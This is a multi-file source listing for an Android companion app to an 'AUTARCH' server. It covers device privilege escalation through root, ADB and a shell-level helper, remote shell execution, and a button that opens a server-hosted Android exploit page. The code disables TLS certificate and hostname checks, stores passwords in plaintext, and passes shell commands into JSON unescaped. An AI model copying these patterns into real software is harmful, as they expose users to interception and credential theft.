DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputWebPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discovery.getDiscoveredServers().isEmpty()) {
handler.post {
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun testConnection() {
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
if (serverIp.isEmpty()) {
statusText.text = "Error: Enter a server IP first"
return
}
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address"
return
}
statusText.text = "Testing connection to $serverIp..."
Thread {
// Ping test
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
val pingOk = pingResult.exitCode == 0
// HTTPS test — probe root endpoint
val httpOk = try {
val url = java.net.URL("https://$serverIp:$webPort/")
val conn = url.openConnection() as java.net.HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 5000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
handler.post {
val status = StringBuilder()
status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
if (!pingOk && !httpOk) {
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
} else if (pingOk && !httpOk) {
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
}
statusText.text = status.toString()
}
}.start()
}
}

View File

@@ -0,0 +1,293 @@
package com.darkhal.archon.ui
import android.Manifest
import android.content.ClipData
import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.core.content.ContextCompat
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.service.PairingReceiver
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.google.android.material.button.MaterialButton
class SetupFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var btnStartPairing: MaterialButton
private lateinit var localAdbStatus: TextView
private lateinit var archonServerStatusDot: View
private lateinit var archonServerStatus: TextView
private lateinit var btnStartArchonServer: MaterialButton
private lateinit var btnStopArchonServer: MaterialButton
private lateinit var btnShowCommand: MaterialButton
private lateinit var serverAdbStatus: TextView
private lateinit var btnBootstrapUsb: MaterialButton
private lateinit var rootStatus: TextView
private lateinit var btnCheckRoot: MaterialButton
private lateinit var btnRootExploit: MaterialButton
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
// Notification permission request (Android 13+)
private val notificationPermissionLauncher = registerForActivityResult(
ActivityResultContracts.RequestPermission()
) { granted ->
if (granted) {
startPairingNotification()
} else {
appendLog("Notification permission denied — cannot show pairing notification")
appendLog("Grant notification permission in app settings")
}
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_setup, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
localAdbStatus = view.findViewById(R.id.local_adb_status)
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
archonServerStatus = view.findViewById(R.id.archon_server_status)
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
btnShowCommand = view.findViewById(R.id.btn_show_command)
serverAdbStatus = view.findViewById(R.id.server_adb_status)
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
rootStatus = view.findViewById(R.id.root_status)
btnCheckRoot = view.findViewById(R.id.btn_check_root)
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
outputLog = view.findViewById(R.id.setup_output_log)
setupListeners()
initializeStatus()
}
private fun setupListeners() {
// ── Wireless Debugging (Shizuku-style notification) ──
btnStartPairing.setOnClickListener {
// Check notification permission for Android 13+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(
requireContext(), Manifest.permission.POST_NOTIFICATIONS
) != PackageManager.PERMISSION_GRANTED
) {
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
return@setOnClickListener
}
}
startPairingNotification()
}
// ── Archon Server ──
btnStartArchonServer.setOnClickListener {
btnStartArchonServer.isEnabled = false
appendLog("Starting Archon Server...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnStartArchonServer.isEnabled = true
appendLog(result.message)
updateArchonServerStatus()
if (result.success) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnStopArchonServer.setOnClickListener {
appendLog("Stopping Archon Server...")
Thread {
val stopped = ArchonClient.stopServer(requireContext())
handler.post {
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}.start()
}
btnShowCommand.setOnClickListener {
val cmd = ArchonClient.getBootstrapCommand(requireContext())
appendLog("ADB command to start Archon Server:")
appendLog("adb shell \"$cmd\"")
// Copy to clipboard
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
}
// ── USB via AUTARCH ──
btnBootstrapUsb.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
return@setOnClickListener
}
btnBootstrapUsb.isEnabled = false
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnBootstrapUsb.isEnabled = true
appendLog(result.message)
if (result.success) {
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
// ── Root ──
btnCheckRoot.setOnClickListener {
appendLog("Checking root access...")
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
if (hasRoot) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnRootExploit.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab")
return@setOnClickListener
}
val url = "https://$serverIp:$serverPort/android-exploit"
try {
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
appendLog("Opened exploit page in browser")
} catch (e: Exception) {
appendLog("Could not open browser: ${e.message}")
}
}
}
private fun startPairingNotification() {
appendLog("Showing pairing notification...")
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
appendLog("Enter the 6-digit code in the notification")
PairingReceiver.showPairingNotification(requireContext())
localAdbStatus.text = "Status: waiting for pairing code in notification..."
}
private fun initializeStatus() {
appendLog("Checking available privilege methods...")
val ctx = requireContext()
PrivilegeManager.init(
ctx,
PrefsManager.getServerIp(ctx),
PrefsManager.getWebPort(ctx)
)
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
val method = PrivilegeManager.refreshMethod()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
val serverIp = PrefsManager.getServerIp(ctx)
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
} else {
"Server: not configured — set IP in Settings or SCAN on Dashboard"
}
updateArchonServerStatus()
updatePrivilegeStatus()
appendLog("Best method: ${method.label}")
}
}.start()
}
private fun updatePrivilegeStatus() {
val method = PrivilegeManager.getAvailableMethod()
val isReady = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, isReady)
privilegeStatusText.text = "Privilege: ${method.label}"
}
private fun updateArchonServerStatus() {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
handler.post {
setStatusDot(archonServerStatusDot, running)
archonServerStatus.text = if (running) {
"Status: Running ($info)"
} else {
"Status: Not running"
}
btnStopArchonServer.isEnabled = running
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(25)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
}

View File

@@ -0,0 +1,209 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import java.net.CookieManager
import java.net.CookiePolicy
import java.net.HttpURLConnection
import java.net.URL
/**
* Manages authentication with the AUTARCH web server.
*
* Handles login via JSON API, cookie storage, and attaching
* the session cookie to all outbound HTTP requests.
*/
object AuthManager {
private const val TAG = "AuthManager"
private const val PREFS_NAME = "archon_auth"
private const val KEY_USERNAME = "username"
private const val KEY_PASSWORD = "password"
private const val KEY_SESSION_COOKIE = "session_cookie"
private const val KEY_LOGGED_IN = "logged_in"
@Volatile
private var sessionCookie: String? = null
/**
* Log in to the AUTARCH web server.
* Returns true on success. Stores the session cookie.
*/
fun login(context: Context, username: String, password: String): LoginResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
return LoginResult(false, "No server IP configured")
}
return try {
val url = URL("$baseUrl/api/login")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 10000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
// Extract Set-Cookie header
val cookie = conn.getHeaderField("Set-Cookie")
conn.disconnect()
if (code == 200 && body.contains("\"ok\":true")) {
// Store credentials and cookie
sessionCookie = cookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_USERNAME, username)
.putString(KEY_PASSWORD, password)
.putString(KEY_SESSION_COOKIE, cookie ?: "")
.putBoolean(KEY_LOGGED_IN, true)
.apply()
Log.i(TAG, "Login successful for $username")
LoginResult(true, "Logged in as $username")
} else {
Log.w(TAG, "Login failed: HTTP $code - $body")
LoginResult(false, "Invalid credentials")
}
} catch (e: Exception) {
Log.e(TAG, "Login error", e)
LoginResult(false, "Connection error: ${e.message}")
}
}
/**
* Check if we have stored credentials and a valid session.
*/
fun isLoggedIn(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
prefs.getString(KEY_USERNAME, null) != null
}
/**
* Get stored username.
*/
fun getUsername(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_USERNAME, "") ?: ""
}
/**
* Get stored password.
*/
fun getPassword(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_PASSWORD, "") ?: ""
}
/**
* Re-login using stored credentials (refreshes session cookie).
*/
fun refreshSession(context: Context): Boolean {
val username = getUsername(context)
val password = getPassword(context)
if (username.isEmpty() || password.isEmpty()) return false
return login(context, username, password).success
}
/**
* Attach the session cookie to an HttpURLConnection.
* Call this before sending any request to the AUTARCH server.
*/
fun attachSession(context: Context, conn: HttpURLConnection) {
val cookie = sessionCookie ?: run {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.getString(KEY_SESSION_COOKIE, null)
}
if (cookie != null) {
conn.setRequestProperty("Cookie", cookie)
}
}
/**
* Make an authenticated POST request to the AUTARCH server.
* Handles cookie attachment and auto-refreshes session on 401.
*/
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
return try {
var result = doPost(context, "$baseUrl$path", jsonPayload)
// If 401, try refreshing session once
if (result.code == 401 || result.code == 302) {
Log.i(TAG, "Session expired, refreshing...")
if (refreshSession(context)) {
result = doPost(context, "$baseUrl$path", jsonPayload)
}
}
result
} catch (e: Exception) {
Log.e(TAG, "Authenticated POST failed", e)
HttpResult(-1, "", "Connection error: ${e.message}")
}
}
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
val url = URL(urlStr)
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.instanceFollowRedirects = false
conn.doOutput = true
attachSession(context, conn)
conn.outputStream.write(jsonPayload.toByteArray())
val code = conn.responseCode
// Capture new cookie if server rotates it
val newCookie = conn.getHeaderField("Set-Cookie")
if (newCookie != null) {
sessionCookie = newCookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
}
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
return HttpResult(code, body, "")
}
/**
* Logout — clear stored credentials and cookie.
*/
fun logout(context: Context) {
sessionCookie = null
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().clear().apply()
Log.i(TAG, "Logged out")
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class LoginResult(val success: Boolean, val message: String)
data class HttpResult(val code: Int, val body: String, val error: String)
}

View File

@@ -0,0 +1,80 @@
package com.darkhal.archon.util
import android.content.Context
import android.content.SharedPreferences
object PrefsManager {
private const val PREFS_NAME = "archon_prefs"
private const val KEY_SERVER_IP = "server_ip"
private const val KEY_WEB_PORT = "web_port"
private const val KEY_ADB_PORT = "adb_port"
private const val KEY_USBIP_PORT = "usbip_port"
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
private const val KEY_BBS_ADDRESS = "bbs_address"
private const val DEFAULT_SERVER_IP = ""
private const val DEFAULT_WEB_PORT = 8181
private const val DEFAULT_ADB_PORT = 5555
private const val DEFAULT_USBIP_PORT = 3240
private const val DEFAULT_BBS_ADDRESS = ""
private fun prefs(context: Context): SharedPreferences {
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
}
fun getServerIp(context: Context): String {
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
}
fun setServerIp(context: Context, ip: String) {
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
}
fun getWebPort(context: Context): Int {
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
}
fun setWebPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
}
fun getAdbPort(context: Context): Int {
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
}
fun setAdbPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
}
fun getUsbIpPort(context: Context): Int {
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
}
fun setUsbIpPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
}
fun isAutoRestartAdb(context: Context): Boolean {
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
}
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
}
fun getBbsAddress(context: Context): String {
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
}
fun setBbsAddress(context: Context, address: String) {
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
}
fun getAutarchBaseUrl(context: Context): String {
val ip = getServerIp(context)
val port = getWebPort(context)
return "https://$ip:$port"
}
}

View File

@@ -0,0 +1,199 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import java.net.HttpURLConnection
import java.net.URL
/**
* Central privilege escalation chain manager.
* Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE
*
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
* started via app_process through an ADB connection. It replaces Shizuku entirely.
*/
object PrivilegeManager {
private const val TAG = "PrivilegeManager"
enum class Method(val label: String) {
ROOT("Root (su)"),
ARCHON_SERVER("Archon Server"),
LOCAL_ADB("Wireless ADB"),
SERVER_ADB("Server ADB"),
NONE("No privileges")
}
private var cachedMethod: Method? = null
private var serverIp: String = ""
private var serverPort: Int = 8181
private var appContext: Context? = null
/**
* Initialize with app context and server connection info.
*/
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
appContext = context.applicationContext
this.serverIp = serverIp
this.serverPort = serverPort
cachedMethod = null
}
/**
* Update the AUTARCH server connection info.
*/
fun setServerConnection(ip: String, port: Int) {
serverIp = ip
serverPort = port
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
cachedMethod = null
}
}
/**
* Determine the best available privilege method.
*/
fun getAvailableMethod(): Method {
cachedMethod?.let { return it }
val method = when {
checkRoot() -> Method.ROOT
checkArchonServer() -> Method.ARCHON_SERVER
checkLocalAdb() -> Method.LOCAL_ADB
checkServerAdb() -> Method.SERVER_ADB
else -> Method.NONE
}
cachedMethod = method
Log.i(TAG, "Available method: ${method.name}")
return method
}
/**
* Force a re-check of available methods.
*/
fun refreshMethod(): Method {
cachedMethod = null
return getAvailableMethod()
}
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
/**
* Execute a command via the best available method.
*/
fun execute(command: String): ShellResult {
return when (getAvailableMethod()) {
Method.ROOT -> executeViaRoot(command)
Method.ARCHON_SERVER -> executeViaArchonServer(command)
Method.LOCAL_ADB -> executeViaLocalAdb(command)
Method.SERVER_ADB -> executeViaServer(command)
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
}
}
fun getStatusDescription(): String {
return when (getAvailableMethod()) {
Method.ROOT -> "Connected via root shell"
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
Method.LOCAL_ADB -> "Connected via Wireless ADB"
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
Method.NONE -> "No privilege access — run Setup"
}
}
// ── Method checks ─────────────────────────────────────────────
private fun checkRoot(): Boolean {
return ShellExecutor.isRootAvailable()
}
private fun checkArchonServer(): Boolean {
val ctx = appContext ?: return false
return ArchonClient.isServerRunning(ctx)
}
private fun checkLocalAdb(): Boolean {
return LocalAdbClient.isConnected()
}
private fun checkServerAdb(): Boolean {
if (serverIp.isEmpty()) return false
return try {
val url = URL("https://$serverIp:$serverPort/hardware/status")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
// ── Execution backends ────────────────────────────────────────
private fun executeViaRoot(command: String): ShellResult {
return ShellExecutor.executeAsRoot(command)
}
private fun executeViaArchonServer(command: String): ShellResult {
val ctx = appContext ?: return ShellResult("", "No app context", -1)
return ArchonClient.execute(ctx, command)
}
private fun executeViaLocalAdb(command: String): ShellResult {
return LocalAdbClient.execute(command)
}
private fun executeViaServer(command: String): ShellResult {
if (serverIp.isEmpty()) {
return ShellResult("", "Server not configured", -1)
}
return try {
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"serial":"any","command":"$command"}"""
conn.outputStream.write(payload.toByteArray())
val responseCode = conn.responseCode
val response = if (responseCode in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
}
conn.disconnect()
if (responseCode in 200..299) {
val stdout = extractJsonField(response, "stdout") ?: response
val stderr = extractJsonField(response, "stderr") ?: ""
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
ShellResult(stdout, stderr, exitCode)
} else {
ShellResult("", "Server HTTP $responseCode: $response", -1)
}
} catch (e: Exception) {
Log.e(TAG, "Server execute failed", e)
ShellResult("", "Server error: ${e.message}", -1)
}
}
private fun extractJsonField(json: String, field: String): String? {
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
val match = pattern.find(json)
return match?.groupValues?.get(1)
}
}

View File

@@ -0,0 +1,59 @@
package com.darkhal.archon.util
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.concurrent.TimeUnit
data class ShellResult(
val stdout: String,
val stderr: String,
val exitCode: Int
)
object ShellExecutor {
private const val DEFAULT_TIMEOUT_SEC = 10L
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Error: ${e.message}", -1)
}
}
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Root error: ${e.message}", -1)
}
}
fun isRootAvailable(): Boolean {
val result = execute("which su")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
}

View File

@@ -0,0 +1,49 @@
package com.darkhal.archon.util
import java.net.HttpURLConnection
import java.security.SecureRandom
import java.security.cert.X509Certificate
import javax.net.ssl.HostnameVerifier
import javax.net.ssl.HttpsURLConnection
import javax.net.ssl.SSLContext
import javax.net.ssl.TrustManager
import javax.net.ssl.X509TrustManager
/**
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
*
* Since AUTARCH generates a self-signed cert at first launch,
* Android's default trust store will reject it. This helper
* creates a permissive SSLContext for LAN-only connections to
* the known AUTARCH server.
*/
object SslHelper {
private val trustAllManager = object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
}
private val trustAllHostname = HostnameVerifier { _, _ -> true }
private val sslContext: SSLContext by lazy {
SSLContext.getInstance("TLS").apply {
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
}
}
val socketFactory get() = sslContext.socketFactory
/**
* Apply self-signed cert trust to a connection.
* If the connection is HTTPS, sets the permissive SSLSocketFactory
* and hostname verifier. Plain HTTP connections are left unchanged.
*/
fun trustSelfSigned(conn: HttpURLConnection) {
if (conn is HttpsURLConnection) {
conn.sslSocketFactory = socketFactory
conn.hostnameVerifier = trustAllHostname
}
}
}

View File

@@ -0,0 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<vector
xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<!-- Background circle -->
<path
android:fillColor="#0D0D0D"
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
<!-- Stylized "A" / Greek column -->
<!-- Left pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
<!-- Right pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
<!-- Top triangle / pediment -->
<path
android:fillColor="#00FF41"
android:pathData="M54,18 L38,28 L70,28 Z" />
<!-- Crossbar -->
<path
android:fillColor="#00FF41"
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
<!-- Base -->
<path
android:fillColor="#00FF41"
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
</vector>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="#00FF41">
<!-- Wrench/build icon -->
<path
android:fillColor="@android:color/white"
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
</vector>

View File

@@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="32dp">
<!-- Logo / Title -->
<TextView
android:id="@+id/login_title"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON"
android:textColor="@color/primary"
android:textSize="36sp"
android:textStyle="bold"
android:fontFamily="monospace"
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_chainStyle="packed"
app:layout_constraintVertical_bias="0.3" />
<TextView
android:id="@+id/login_subtitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTARCH Companion"
android:textColor="@color/text_secondary"
android:textSize="14sp"
android:layout_marginTop="4dp"
android:layout_marginBottom="40dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_title" />
<!-- Server IP -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_server_ip"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="40dp"
android:hint="Server IP"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:hint="10.0.0.26" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Username -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_username"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Username"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
